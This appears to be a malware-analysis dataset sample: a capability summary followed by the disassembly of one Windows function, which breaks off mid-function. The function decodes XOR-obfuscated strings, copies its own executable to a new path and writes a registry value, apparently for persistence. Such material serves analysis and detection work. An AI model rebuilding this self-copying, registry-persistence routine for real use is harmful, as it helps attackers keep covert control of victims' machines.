Function at 0x41b320
Capabilities:
Check if file exists
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51f5c9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4c8
mov dword [ebp - 0x1c], 0
xor ecx, ecx
movaps xmm0, xmmword [0x5434d0]
push esi
push edi
mov dword [ebp - 0x30], 0x8f8a89a7
movups xmmword [ebp - 0x2c], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0xb
jb 0x41b370
mov dword [0x5584e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b3a3
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov dword [ebp - 4], 0
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b3d0
mov edi, closesocket
sub ecx, esi
mov esi, dword [0x555b2c]
mov eax, edi
sub eax, esi
cmp eax, ecx
jb 0x41d7ff
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push esi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x1f4]
call fcn.00487550
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41b44e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b444
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543340]
xor ecx, ecx
mov dword [ebp - 0x31], 0x9c889ca4
mov byte [ebp - 0x2d], 0x8e
movups xmmword [ebp - 0x2c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0xc
jb 0x41b466
mov dword [0x5584d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x31]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b4a0
sub ecx, edx
lea eax, [ebp - 0x31]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 3
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b4d0
sub ecx, esi
mov eax, edi
mov esi, dword [0x555b2c]
sub eax, esi
cmp eax, ecx
jb 0x41d804
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push esi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x2d8]
call fcn.00487550
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41b549
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b53f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543240]
xor ecx, ecx
mov word [ebp - 0x2e], 0xa9a2
movups xmmword [ebp - 0x2c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 9
jb 0x41b560
mov dword [0x5585e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b593
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 6
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b5c0
sub ecx, esi
mov eax, edi
mov esi, dword [0x555b2c]
sub eax, esi
cmp eax, ecx
jb 0x41d809
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push esi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x12c]
call fcn.00487550
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41b639
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b62f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
push 0x200
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x4d8]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1cc], 0
lea ecx, [ebp - 0x4d8]
mov dword [ebp - 0x1c8], 0
movups xmmword [ebp - 0x1dc], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b690
sub ecx, edx
lea eax, [ebp - 0x4d8]
push ecx
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00402b20
mov byte [ebp - 4], 9
xor ecx, ecx
movaps xmm0, xmmword [0x5440e0]
mov dword [ebp - 0x31], 0xafaea3a7
mov byte [ebp - 0x2d], 0xa3
movups xmmword [ebp - 0x2c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0xc
jb 0x41b6c8
mov dword [0x5584d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x31]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b700
sub ecx, edx
lea eax, [ebp - 0x31]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00402b20
cmp dword [ebp - 0x6c], 0x10
mov eax, 0x1fe
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
push eax
call fcn.00506621
mov ecx, dword [ebp - 0x6c]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41b768
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b75e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d80e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
test esi, esi
je 0x41bed8
mov ecx, esi
mov dword [ebp - 0xa0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
movups xmmword [ebp - 0xb0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b7a5
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xb0]
call fcn.00402b20
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov byte [ebp - 0x26], 0xb7
xor ecx, ecx
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 1
jb 0x41b7d1
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b804
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov eax, 0x5fe
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0xb0]
cmovae eax, dword [ebp - 0x60]
push eax
call fcn.0047f7d0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41b875
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b86b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d827
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x1e0], 0x10
lea ecx, [ebp - 0x1f4]
mov edx, dword [ebp - 0xa0]
cmovae ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x9c]
mov edi, dword [ebp - 0x1e4]
sub eax, edx
mov dword [ebp - 0x1c], edx
push edi
push ecx
cmp edi, eax
ja 0x41b8db
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xb0]
mov dword [ebp - 0xa0], eax
lea eax, [esi + edx]
push eax
call fcn.004f9670
mov ecx, dword [ebp - 0x1c]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x41b8ee
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x1c]
push edi
call fcn.004859b0
cmp dword [ebp - 0x9c], 0x10
lea edx, [ebp - 0xb0]
jb 0x41b907
mov edx, dword [ebp - 0xb0]
test edx, edx
je 0x41b941
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b910
sub ecx, esi
je 0x41b941
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41b954
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41b954
cmp eax, 0x20
je 0x41b954
cmp eax, 0x45
je 0x41b954
cmp eax, 0x24
je 0x41b954
lea ecx, [ebp - 0xb0]
call fcn.0041aac0
test al, al
je 0x41be9a
xorps xmm0, xmm0
mov dword [ebp - 0x29], 0x8b9589c5
movq qword [ebp - 0x25], xmm0
xor ecx, ecx
mov byte [ebp - 0x1d], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 4
jb 0x41b970
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b9b0
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b20
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x26], 0xb7
cmovae eax, dword [ebp - 0x98]
xor ecx, ecx
mov dword [ebp - 0x14], eax
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 1
jb 0x41b9f6
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ba30
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ba60
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xa0]
sub eax, esi
cmp eax, ecx
jb 0x41d813
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0xc8]
call fcn.00487550
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1f4]
cmp dword [ebp - 0x1e0], 0x10
mov esi, dword [ebp - 0xb4]
mov eax, esi
cmovae ecx, dword [ebp - 0x1f4]
mov edi, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0xb8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41bb0a
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0xc8]
cmovae eax, dword [ebp - 0xc8]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0xc8]
jmp 0x41bb1d
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x1c]
push edi
call fcn.004859b0
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x80]
push dword [ebp - 0x14]
call fcn.0047f7d0
mov dword [ebp - 0xd0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xcc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0x1f5fe
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x41bbe9
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bbdf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d818
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41bc39
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bc2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d818
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41bc8c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bc82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d818
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41bcca
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bcc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d818
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
jne 0x41be5c
cmp dword [ebp - 0xcc], 0x10
lea ecx, [ebp - 0xe0]
push 0
cmovae ecx, dword [ebp - 0xe0]
lea eax, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1dc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41be5c
movaps xmm0, xmmword [0x5455b0]
xor ecx, ecx
movups xmmword [ebp - 0x1c4], xmm0
mov dword [ebp - 0x1a4], 0x6b5b7865
movaps xmm0, xmmword [0x544da0]
movups xmmword [ebp - 0x1b4], xmm0
mov word [ebp - 0x1a0], 0x637d
movaps xmm0, xmmword [str.xHGcy]
movups xmmword [ebp - 0x19e], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1c4], al
inc ecx
cmp ecx, 0x2d
jb 0x41bd64
mov dword [0x5584e4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 0x197], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41bda0
sub ecx, edx
lea eax, [ebp - 0x1c4]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x1c]
push ecx
mov eax, 0x81f5fe
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x60]
cmovae eax, dword [ebp - 0x60]
push 0x20006
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x4c]
test eax, eax
sete al
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x41be22
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41be15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d81d
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x15]
add esp, 8
test al, al
je 0x41be5c
lea ecx, [ebp - 0xe0]
call fcn.00402af0
lea ecx, [ebp - 0x1f4]
mov esi, eax
call fcn.00402af0
push dword [ebp - 0xd0]
push esi
push 1
push 0
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x41be9a
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41be90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d822
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41bed8
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bece
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d827
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x544150]
xor ecx, ecx
mov dword [ebp - 0xc8], 0xbba1a0aa
mov dword [ebp - 0xc4], 0xa1a3b5bc
movups xmmword [ebp - 0xc0], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 0xf
jb 0x41bf00
mov dword [0x558508], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0xb9], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41bf40
sub ecx, edx
lea eax, [ebp - 0xc8]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00402b20
or dword [ebp - 0x14], 0x200
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
push eax
call fcn.00506621
mov ecx, dword [ebp - 0x6c]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41bfaa
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bfa0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d82c
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
test esi, esi
je 0x41d6eb
mov ecx, esi
mov dword [ebp - 0xa0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
movups xmmword [ebp - 0xb0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41bfe7
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xb0]
call fcn.00402b20
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
mov byte [ebp - 0x26], 0xb7
xor ecx, ecx
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 1
jb 0x41c013
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c046
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
or dword [ebp - 0x14], 0x800
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0xb0]
cmovae eax, dword [ebp - 0x60]
push eax
call fcn.0047f7d0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41c0b6
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c0ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d854
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x12c]
mov esi, dword [ebp - 0x9c]
mov eax, esi
cmovae ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0xa0]
sub eax, edx
mov edi, dword [ebp - 0x11c]
push edi
push ecx
cmp edi, eax
ja 0x41c111
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xb0]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x41c12a
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x1c]
push edi
call fcn.004859b0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x9c]
lea edx, [ebp - 0xb0]
cmp esi, 0x10
jb 0x41c145
mov edx, dword [ebp - 0xb0]
test edx, edx
je 0x41c194
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c150
sub ecx, dword [ebp - 0x1c]
je 0x41c194
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41c200
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41c200
cmp eax, 0x20
je 0x41c200
cmp eax, 0x45
je 0x41c200
cmp eax, 0x24
je 0x41c200
mov esi, dword [ebp - 0x9c]
cmp esi, 0x10
mov dword [ebp - 0x104], 0
lea edx, [ebp - 0xb0]
mov dword [ebp - 0x100], 0
cmovae edx, dword [ebp - 0xb0]
xorps xmm0, xmm0
mov ecx, edx
movups xmmword [ebp - 0x114], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c1c7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x114]
call fcn.00402b20
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x114]
mov eax, dword [ebp - 0x14]
or eax, 1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.0041aac0
mov byte [ebp - 0x15], 0
test al, al
je 0x41c204
mov byte [ebp - 0x15], 1
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x14]
test al, 1
je 0x41c24c
mov ecx, dword [ebp - 0x100]
cmp ecx, 0x10
jb 0x41c24c
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c242
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d831
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp byte [ebp - 0x15], 0
je 0x41d6b1
xorps xmm0, xmm0
mov dword [ebp - 0x29], 0x8b9589c5
movq qword [ebp - 0x25], xmm0
xor ecx, ecx
mov byte [ebp - 0x1d], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 4
jb 0x41c270
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c2b0
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b20
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x26], 0xb7
cmovae eax, dword [ebp - 0x98]
xor ecx, ecx
mov dword [ebp - 0x14], eax
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 1
jb 0x41c2f6
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c330
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c360
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xa0]
sub eax, esi
cmp eax, ecx
jb 0x41d836
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x80]
call fcn.00487550
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
mov esi, dword [ebp - 0x6c]
mov eax, esi
cmovae ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x70]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41c3ef
lea eax, [edx + edi]
cmp esi, 0x10
